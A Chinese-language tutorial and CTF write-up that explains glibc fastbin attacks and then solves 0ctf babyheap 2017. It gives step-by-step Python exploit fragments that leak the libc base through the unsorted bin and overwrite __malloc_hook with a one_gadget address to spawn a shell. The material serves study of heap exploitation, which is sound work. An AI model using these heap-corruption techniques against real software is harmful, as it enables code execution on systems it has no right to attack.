fastbin attack

fastbin attack

介绍

fastbin attack 是一类漏洞的利用方法,是指所有基于 fastbin 机制的漏洞利用方法。这类利用的前提是:

  • 存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞
  • 漏洞发生于 fastbin 类型的 chunk 中

如果细分的话,可以做如下的分类:

  • Fastbin Double Free
  • House of Spirit
  • Alloc to Stack
  • Arbitrary Alloc

其中,前两种主要漏洞侧重于利用 free 函数释放真的 chunk 或伪造的 chunk,然后再次申请 chunk 进行攻击,后两种侧重于故意修改 fd 指针,直接利用 malloc 申请指定位置 chunk 进行攻击。

原理

fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的,并且由 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 位也不会被清空。 我们来看一下 fastbin 是怎样管理空闲 chunk 的。

Fastbin Double Free

Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果。

Fastbin Double Free 能够成功利用主要有两部分的原因

  1. fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空
  2. fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。

图示(fastabin表建立的过程)

img

img

img

通过 fastbin double free 我们可以使用多个指针控制同一个堆块,这可以用于篡改一些堆块中的关键数据域或者是实现类似于类型混淆的效果。 如果更进一步修改 fd 指针,则能够实现任意地址分配堆块的效果 (首先要通过验证),这就相当于任意地址写任意值的效果。

House Of Spirit

House of Spirit 是 the Malloc Maleficarum 中的一种技术。

该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。

要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,即

  • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
  • fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
  • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。
Alloc to Stack

如果你已经理解了前文所讲的 Fastbin Double Free 与 house of spirit 技术,那么理解该技术就已经不成问题了,它们的本质都在于 fastbin 链表的特性:当前 chunk 的 fd 指针指向下一个 chunk。

该技术的核心点在于劫持 fastbin 链表中 chunk 的 fd 指针,把 fd 指针指向我们想要分配的栈上,从而实现控制栈中的一些关键数据,比如返回地址等。

通过该技术我们可以把 fastbin chunk 分配到栈中,从而控制返回地址等关键数据。要实现这一点我们需要劫持 fastbin 中 chunk 的 fd 域,把它指到栈上,当然同时需要栈上存在有满足条件的 size 值。

具体的攻击方法(Double Free)

攻击思路

从栈溢出进入堆溢出,漏洞利用的复杂度上了一个大台阶,主要是因为 ptmalloc 内存管理器对于堆管理设计了复杂的数据结构和算法,要想进入堆溢出的学习,就必须厘清它们之间的关系。本文将从一个经典的例子——0ctfbabyheap2017 来介绍一个初级的 fastbin attack 以初探堆溢出攻击。

libc 基址泄露

main_arena 在 libc 中全局定义并声明,同时各种 bins 地址具有与 main_arena 固定的偏移地址,而 main_arena 具有与 libc 基址固定的。换言之,bins 在 libc 中全局定义声明,故对 libc 具有固定偏移,攻击者可以利用泄露出的 bin 地址,得到 libc 基址,以下展示利用 unsorted bin 泄露 bin[0]地址获取 libc 基址。

main_arena 的偏移

在 libc.so.6(libc-2.23.so)的 malloc_trim()函数中,第 25 行&dword_3C3B20 即为 main_arena 的地址。

截屏2024-08-18 20.38.26

malloc_hook 及 free_hook 劫持

malloc_hook 和 free_hook 使得用户可以通过特定的 hook 函数定义 malloc(),realloc(),和 free()的行为以帮助用户 debug。换句话说,hook 的存在让漏洞利用者得以在堆的申请和释放过程中执行函数,所以在堆溢出中,可以覆写 malloc_hook 和 free_hook 为 one_gadget 以获取程序执行流。

劫持原理

  • malloc_hook 位于 main_arena 上方 0x10 的位置(malloc_hook_addr = main_arena_addr - 0x10),可以通过 main_arena 低地址处的 fake chunk 来 overwrite 该值实现 getshell。
  • free_hook 位于 libc 上_free_hook 上,可以通过 fake chunk 来 overwrite 该值达到劫持程序流的目的。
bin[0]关于 main_arena 的偏移

在 pwndbg 中利用泄露出的 unsorted bin 地址可以得到其关于 main_arena 的偏移量。在pwngdb里面用arena命令可以查看main_arena的地址,这样就能计算出来偏移了。

解题思路

fill()函数中存在堆溢出漏洞,而 dump()函数可以打印最初申请堆块长度的字符数,利用这两个点实现 fast bin attack 并劫持 malloc hook 获取 shell。

利用流程
获取 libc 地址

利用 unsorted bin 泄露 bin[0]地址以获得 libc 的地址。unsorted bin 是依靠双链表维护空闲 chunk 的,所以 unsorted bin 中第一个 chunk 一定会存在一个指向表头地址的前驱指针。

伪造堆块实现 UAF 泄露 bins[0]地址

利用输出 unsorted bin 第一个 chunk 的数据内容来泄露 libc,因此需要读取一个已经被 free 的 chunk 的数据,即 Use-After-Free。但是 dump()函数输出的是原申请大小的数据,所以要想输出 unsorted bin 中 chunk 的数据,必须在 free()该 chunk 后仍有一个指向该位置的指针。为此,我们利用 fast bin attack 伪造一个指向它的指针。

1.首先申请 4 个实际大小为 0x20 的 chunk,分别为 idx0-3,idx0 的作用是覆盖 idx1 部分的 fd 指针,使其指向 idx4,后两个用于形成单链表结构,idx3 用于修改 idx4 的数据。indx4被释放后会放入unsortbin中。

# in the following, the real size of chunk is the allocated size adding 0x10
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
# 0x90 is not in fastbin but in unsorted bin
allocate(0x80)  
free(2)
free(1)

截屏2024-08-18 21.05.23

2.注意到此时 fastbin 中构成单链表,idx1 的 fd 指针指向 idx2。我们修改 idx1 的 fd 指针的最低字节为 0x80 即可将其指向 idx4。

# change the fd point to idx4
payload1 = b'a' * 0x10 + p64(0) + p64(0x21) + p8(0x80)
fill(0, len(payload1), payload1)

截屏2024-08-18 21.11.29

3.fastbin[0x20][1]存储的是指向 idx4 的指针,我们将 fastbin[0x20][1]分配出来就得到另一个指向 idx4 对应 chunk 的指针 idx4’,当我们释放原 idx4 后,通过 dump(idx4’)即可泄露 libc。

要从 fastbin 申请 0x20 的堆块,必须保证该堆块 size 域为 0x21,这就要求我们修改 idx4 chunk 的 size 域为 0x21。接着从 fastbin[0x20]中吧两个 chunk 申请出来,第二个就是 idx4’,对应的下标是 idx2。

同时再申请一个堆块避免 idx4 与 top chunk 合并。

# modify the size of chunk idx4 to fit the demand of choose free chunk
payload2 = b'a' * 0x10 + p64(0) + p64(0x21)
fill(3, len(payload2), payload2)
# 1st is idx1 and 2nd is the fake chunk which is freed into unsorted bin and its fd is the addr of unsorted bin
allocate(0x10)  # idx1
allocate(0x10)  # idx2 point to the chunk of idx4
allocate(0x80)  # idx5, avoid idx4 adjacent to top chunk

截屏2024-08-18 21.29.48

4.现在我们得到两个指向 0x80 处 chunk 的指针了,我们利用 idx4 指针将其释放进 unsorted bin,需要先修改 size 域为 0x91,否则释放后会进入 fastbin。

0x0000000000000001      0x0000000000000010      0x00006198acd75010     idx0 0x0000000000000001			0x0000000000000010      0x00006198acd75030		 idx1
0x0000000000000001      0x0000000000000010			0x00006198acd75090     idx2 0x0000000000000001			0x0000000000000010      0x00006198acd75070		 idx3
0x0000000000000001      0x0000000000000080			0x00006198acd75090     idx4 0x0000000000000001			0x0000000000000080      0x00006198acd75120		 idx5
# fix the size of idx4 before free
payload = 0x10 * b'a' + p64(0) + p64(0x91)
fill(3, len(payload), payload)
free(4)

5.此时直接输出idx2的内容就能直接得到bin[0]的地址,根据前面的方法可以得到arena的地址,从而算出bin_offset。main_arena_offset获得的方法前面已经介绍。

dump(2)
io.recvuntil(b"Content: \n")
bin0_addr = u64(io.recv(8))
bin0_offset = 0x58
main_arena_addr = bin0_addr - bin0_offset
main_arena_offset = 0x3C4B20
libc_addr = main_arena_addr - main_arena_offset
print("Unsorted bin addr: ", hex(bin0_addr))
print("main arena addr: ", hex(main_arena_addr))
print("libc: ", hex(libc_addr))

截屏2024-08-18 22.04.27

利用 fake chunk 覆写 malloc hook

获取 libc_base 后,进行利用了。通过修改 malloc_hook 为 one_gadget 以 getshell。此处需要构造 fake chunk。在泄露 libc_addr 的过程中我们用到 fast bin attack,可以修改 fast bin 中第 i 个 free chunk 的 fd 指针,第 i+1 个 free chunk 的地址为任意已知的想要指向的地址。下面来具体分析构造 fake chunk 的过程。

在此我们先分析一下什么叫 fake chunk。首先,我们的目的是在 malloc_hook_addr 更低地址处申请一个 chunk,利用它修改 malloc_hook,而申请这样的堆块,不仅需要一个指针,还需要这个指针指向的堆块的 size 域满足大小与 fastbin 大小对应相等的这个关系,除此之外没有其他限制。换句话说,我们需要一个字节的数据,它与正常进入 fastbin 的 chunk 的 size 域相同。通过这个字节数据作为 size 域的 chunk 就是所谓的 fake chunk。

1.通过 find_fake_fast 命令寻找 fake chunk。

截屏2024-08-18 22.16.19

2.这样就得到了 fake_chunk_addr。任意选取一个,计算它的 mem 指针与 malloc_hook 的大小差即可。0x7a 的低 4 位不影响 chunk 的大小

我们已知 fake chunk 的大小为 0x70,于是只需要利用 fast bin attack,申请一个指向 fake chunk 的指针即可。但是这里有一个小 trick,在上述泄露 libc 的操作中,我们的 idx2 指针仍在,但对应的大小为 0x90 的 chunk 在 unsorted bin 中,而当 fastbin[0x70]为空时,要申请 0x70 的 chunk,会将 0x90 的 chunk 分割 0x70 以满足申请,剩余 0x20 进入 reminder。也就是说,我们申请一个 0x70 大小的 chunk 后,idx2 和 malloc 返回的新指针都指向它,利用新指针将它 free 后 idx2 依然可以读写它。

allocate(0x60)  # idx2 and idx4 point to it
free(4)

截屏2024-08-18 22.22.17

此时 fastbin 中只存在一个刚刚 free 的一个 chunk。

截屏2024-08-18 22.24.49

3.只需要在 free 之后将它的 fd 域修改为 fake_chunk_addr,再申请 fastbin 中的 chunk 即可。

fake_chunk_offset = -0x33  #0x7a45e93c4b20 - 0x7a45e93c4aed
fake_chunk_addr = main_arena_addr + fake_chunk_offset
payload3 = p64(fake_chunk_addr)
fill(2, len(payload3), payload3)

截屏2024-08-18 22.32.00

4.修改 fd 指针后出现两个。表明 fastbin 不对有多少 chunk 计数,而是通过 fd 指针指向 null 判断链表结束,与我们熟知的链表的特点完全吻合。第二个即是 fake chunk。

idx6 就是 fake_chunk 的指针,计算准偏移量后将 malloc_hook 覆盖成 one_gadget 即可。(malloc_hook_addr = main_arena_addr - 0x10)

allocate(0x60)  # idx4
allocate(0x60)  # idx6

one_gadget_offset = 0x4526a
one_gadget_addr = libc_addr + one_gadget_offset
payload4 = b'a' * 0x13 + p64(one_gadget_addr)
fill(6, len(payload4), payload4)

查找one_gadget的方法如下图所示。

截屏2024-08-18 22.37.54

参考链接

0ctfbabyheap2017WP——堆溢出fastbin attack初探

【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值